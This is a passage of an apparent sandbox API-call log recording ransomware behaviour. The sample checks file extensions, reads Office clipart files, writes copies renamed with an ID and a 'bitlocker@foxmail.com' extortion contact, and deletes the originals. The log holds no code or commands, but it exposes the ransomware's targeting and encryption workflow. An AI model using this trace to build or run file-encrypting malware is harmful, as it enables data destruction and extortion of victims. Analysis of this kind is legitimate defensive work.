Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString=".dbf") returned 4 [0190.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString=".1cd") returned 4 [0190.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString=".jpg") returned 4 [0190.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.190] lstrlenW (lpString=".doc") returned 4 [0190.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString=".docx") returned 5 [0190.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.190] lstrlenW (lpString=".pdf") returned 4 [0190.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.190] lstrlenW (lpString=".xls") returned 4 [0190.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.191] lstrlenW (lpString=".xlsx") returned 5 [0190.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.191] lstrlenW (lpString=".ppt") returned 4 [0190.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.191] lstrlenW (lpString=".zip") returned 4 [0190.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.191] lstrlenW (lpString=".rar") returned 4 [0190.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.191] lstrlenW (lpString=".bz2") returned 4 [0190.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.191] lstrlenW (lpString=".7z") returned 3 [0190.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.191] lstrlenW (lpString=".dbf") returned 4 [0190.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.191] lstrlenW (lpString=".1cd") returned 4 [0190.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0190.191] lstrlenW (lpString=".jpg") returned 4 [0190.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.191] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.191] lstrlenW (lpString="IN00118_.WMF") returned 12 [0190.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.192] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=792) returned 1 [0190.192] CloseHandle (hObject=0x1f4) returned 1 [0190.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0190.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.192] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.192] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.193] GetLastError () returned 0x0 [0190.193] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x318, lpOverlapped=0x0) returned 1 [0190.194] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x320, lpOverlapped=0x0) returned 1 [0190.195] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.195] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.195] SetEndOfFile (hFile=0x1dc) returned 1 [0190.195] CloseHandle (hObject=0x1dc) returned 1 [0190.195] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.196] SetEndOfFile (hFile=0x1f4) returned 1 [0190.196] CloseHandle (hObject=0x1f4) returned 1 [0190.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0190.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.197] lstrlenW (lpString=".doc") returned 4 [0190.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString=".docx") returned 5 [0190.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.197] lstrlenW (lpString=".pdf") returned 4 [0190.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString=".xls") returned 4 [0190.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.197] lstrlenW (lpString=".xlsx") returned 5 [0190.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.197] lstrlenW (lpString=".ppt") returned 4 [0190.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.197] lstrlenW (lpString=".zip") returned 4 [0190.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.197] lstrlenW (lpString=".rar") returned 4 [0190.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString=".bz2") returned 4 [0190.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString=".7z") returned 3 [0190.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.197] lstrlenW (lpString=".dbf") returned 4 [0190.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.197] lstrlenW (lpString=".1cd") returned 4 [0190.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.198] lstrlenW (lpString=".jpg") returned 4 [0190.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.198] lstrlenW (lpString=".doc") returned 4 [0190.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString=".docx") returned 5 [0190.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.198] lstrlenW (lpString=".pdf") returned 4 [0190.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString=".xls") returned 4 [0190.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.198] lstrlenW (lpString=".xlsx") returned 5 [0190.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.198] lstrlenW (lpString=".ppt") returned 4 [0190.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.198] lstrlenW (lpString=".zip") returned 4 [0190.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.198] lstrlenW (lpString=".rar") returned 4 [0190.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString=".bz2") returned 4 [0190.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString=".7z") returned 3 [0190.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.198] lstrlenW (lpString=".dbf") returned 4 [0190.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.199] lstrlenW (lpString=".1cd") returned 4 [0190.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0190.199] lstrlenW (lpString=".jpg") returned 4 [0190.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.199] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.199] lstrlenW (lpString="IN00177_.WMF") returned 12 [0190.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.199] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1074) returned 1 [0190.199] CloseHandle (hObject=0x1f4) returned 1 [0190.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0190.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.204] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.204] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.205] GetLastError () returned 0x0 [0190.205] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x432, lpOverlapped=0x0) returned 1 [0190.206] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0190.207] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.207] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.207] SetEndOfFile (hFile=0x1dc) returned 1 [0190.208] CloseHandle (hObject=0x1dc) returned 1 [0190.208] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.208] SetEndOfFile (hFile=0x1f4) returned 1 [0190.209] CloseHandle (hObject=0x1f4) returned 1 [0190.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0190.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.209] lstrlenW (lpString=".doc") returned 4 [0190.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.209] lstrlenW (lpString=".docx") returned 5 [0190.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.209] lstrlenW (lpString=".pdf") returned 4 [0190.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.209] lstrlenW (lpString=".xls") returned 4 [0190.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.209] lstrlenW (lpString=".xlsx") returned 5 [0190.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.209] lstrlenW (lpString=".ppt") returned 4 [0190.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.209] lstrlenW (lpString=".zip") returned 4 [0190.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.210] lstrlenW (lpString=".rar") returned 4 [0190.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString=".bz2") returned 4 [0190.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString=".7z") returned 3 [0190.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.210] lstrlenW (lpString=".dbf") returned 4 [0190.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.210] lstrlenW (lpString=".1cd") returned 4 [0190.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.210] lstrlenW (lpString=".jpg") returned 4 [0190.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.210] lstrlenW (lpString=".doc") returned 4 [0190.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString=".docx") returned 5 [0190.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.210] lstrlenW (lpString=".pdf") returned 4 [0190.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.210] lstrlenW (lpString=".xls") returned 4 [0190.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.210] lstrlenW (lpString=".xlsx") returned 5 [0190.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.210] lstrlenW (lpString=".ppt") returned 4 [0190.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.211] lstrlenW (lpString=".zip") returned 4 [0190.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.211] lstrlenW (lpString=".rar") returned 4 [0190.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.211] lstrlenW (lpString=".bz2") returned 4 [0190.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.211] lstrlenW (lpString=".7z") returned 3 [0190.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.211] lstrlenW (lpString=".dbf") returned 4 [0190.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.211] lstrlenW (lpString=".1cd") returned 4 [0190.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0190.211] lstrlenW (lpString=".jpg") returned 4 [0190.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.211] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.211] lstrlenW (lpString="IN00204_.WMF") returned 12 [0190.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.212] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1848) returned 1 [0190.212] CloseHandle (hObject=0x1f4) returned 1 [0190.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0190.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.212] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.212] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0190.213] GetLastError () returned 0x0 [0190.213] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x738, lpOverlapped=0x0) returned 1 [0190.214] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x740, lpOverlapped=0x0) returned 1 [0190.215] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0190.215] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.215] SetEndOfFile (hFile=0x1dc) returned 1 [0190.215] CloseHandle (hObject=0x1dc) returned 1 [0190.216] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0190.216] SetEndOfFile (hFile=0x1f4) returned 1 [0190.216] CloseHandle (hObject=0x1f4) returned 1 [0190.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.217] lstrlenW (lpString=".doc") returned 4 [0190.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString=".docx") returned 5 [0190.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0190.217] lstrlenW (lpString=".pdf") returned 4 [0190.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString=".xls") returned 4 [0190.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.217] lstrlenW (lpString=".xlsx") returned 5 [0190.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0190.217] lstrlenW (lpString=".ppt") returned 4 [0190.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.217] lstrlenW (lpString=".zip") returned 4 [0190.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.217] lstrlenW (lpString=".rar") returned 4 [0190.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString=".bz2") returned 4 [0190.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString=".7z") returned 3 [0190.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.217] lstrlenW (lpString=".dbf") returned 4 [0190.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString=".1cd") returned 4 [0190.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0190.218] lstrlenW (lpString=".jpg") returned 4 [0190.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.218] lstrlenW (lpString="C:\\Program 